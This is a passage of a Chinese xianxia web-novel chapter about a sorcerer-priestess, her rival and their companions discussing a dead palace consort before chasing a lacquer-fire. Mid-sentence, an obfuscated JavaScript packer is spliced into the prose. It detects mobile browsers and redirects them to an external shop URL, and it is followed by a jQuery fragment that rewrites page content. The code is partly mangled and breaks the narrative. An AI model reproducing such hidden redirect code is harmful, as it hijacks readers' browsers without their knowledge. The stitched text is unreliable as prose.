戚容与对上袁江照戒备的眼神,坦然自若,“我幼时在王庭长大,得过她的照拂。不过我也好奇,简晏如是羌王宫妃,如今三百有余,你不过一百出头,怎么关系和她这么好?” 说起这个,袁江照英朗的脸上露出柔软的神色,“我年幼也和她有过一面,我喊她喊了几年娘,她实在受不了了,开始以朋友自居,于是我们就渐渐成了真的好友。” “她作为先王妃子,本已出宫,二十年前突然回去,我放心不下,拉着她结了魂契。” “啊我想起来了,你就是简晏如认的便宜儿子吧。”袁江照敲了敲头,恍然大悟。 “啊?”乌霜月亮着眼睛插进来,暗戳戳点亮衔音珮。 戚容与显然不想多提,“她非要认我的。” 初清叙静静地听着,没插话,非要论的话,她才是在场几人中对这事最了解的人。 年少求学时,戚容与曾提到过这段往事——他在冷宫出生,野孩子受尽欺侮,是一名宫妃心善养了他一阵,后来有人相中他的天赋,才将他接出宫去。 但他那会儿没说是哪位妃,只说若有机会,带她去见见。 可惜世事无常,一别百年,等初清叙近乎忘了这件事后,那名妃子猝不及防地出现在了她的生命中。她也是此时此地才得知,简晏如就是当初护戚容与长大的人。 那头袁江照已经开始逾矩打趣自己的辈分比戚容与大,乌霜月听热闹听得眼弯眉弯,嘴角挂笑。 气氛缓和下不少。 刚才所提之事,初清叙听完便有了眉目。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408843|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事可以与她在查的地脉灵力一事合流追寻,担子一下轻快了不少。戚容与想必也是有什么线索,否则这会儿不会想着法子逗趣。 袁江照藏了几十年,一朝说出口浑身松快,好友亡故的悲怆被她偷偷摸摸地自己消化,眼中红晕未消,人却在努力地笑着。她不想落泪,她要满怀坚硬的愤怒为好友复仇,要欢愉地死去。 所以另两人配合着说笑。 阴魂化人,袁氏家中没有这类禁忌古籍。 玉山族和戚容与的手上是有的。 袁江照活不长久,已经是今年明年的事了。 初清叙在闹哄哄的声音里,轻刮过陶瓷杯身,将发热的灵力消掉,举杯没等喝上一口,蓦然面色一凛,猛得站起身。 乌霜月忙问:“尊使?” 另外二人也被吸引。 初清叙迎着他们紧张的眸子,缓缓道:“有人放了漆火。” 漆火从玉山族巫祝一脉所出,初清叙作为天地同构的大祝,天然能感应到方圆百里内,正释放燃烧的漆火。 四人的身形在城中如片羽般轻点而过。 初清叙作为寻位之人必不可少,乌霜月一心追随,戚容与则忧心有怨魂现身,一并跟来。 袁江照见他们都去,也没有呆着的理由,左右让芙菱掩护一下便是了,护不住也没关系,其他三个人够强,她心安理得地抱上大腿。 “房中那个人真不要管?”乌霜月想起来戚容与是带着个人来的,“那谁啊?” 戚容与咳了一声,不自然道:“我看他鬼鬼祟祟地翻墙,就打晕带过来了。” “啊。”袁江照摆摆手,“那是裴献,简春意未婚夫。” “他在查简春意的事,真没想到一个凡人能查到借尸还魂上。我与他已经暂时结成了同盟。自己人自己人。” “他就是裴少爷啊……”乌霜月只觉得嗓子眼里堵了块吸满水的棉花。 他就是爱恨浓烈,失踪两年的裴少爷。 简春意也是两年前死的。 初清叙无端想起乌霜月那句:“可谓是青梅竹马,两小无猜。” 她轻叹口气,尾音散在风里。 这一声却被戚容与听了去。 他稳稳地停在檐瓦上,问:“借尸还魂后,原身的性格会影响后来人的性格吗?” “会的。”袁江照闷声答,“晏如活泼开朗了许多,唉声叹气都少了。” “是哦,尊使这两日总叹气。”乌霜月听多了,自己也被传染了。 简晏如方死,神魂留下的痕迹难以磨灭,她的习惯淌进了新来的初清叙的骨血中。 戚容与新奇地打量她。 不可一世的大祝大人身上轻而易举地有了他人的烙印。 初清叙对身侧灼热的目光视而不见。 但旁观的袁江照,看不懂了。 自戚容与进来,他们二人一句话都没有说过。默契十足,但关系怎么看都不算好。 两个人哪次看向对方不是为了挑衅? 乌霜月眼神示意她:早提醒你了,冰释前嫌是假的。坏端端的怎么可能会好起来。 她伸出食指抵在唇前。 袁江照忙不迭的点头,懂了,上位者的勾心斗角阴谋诡计是吧,她超懂。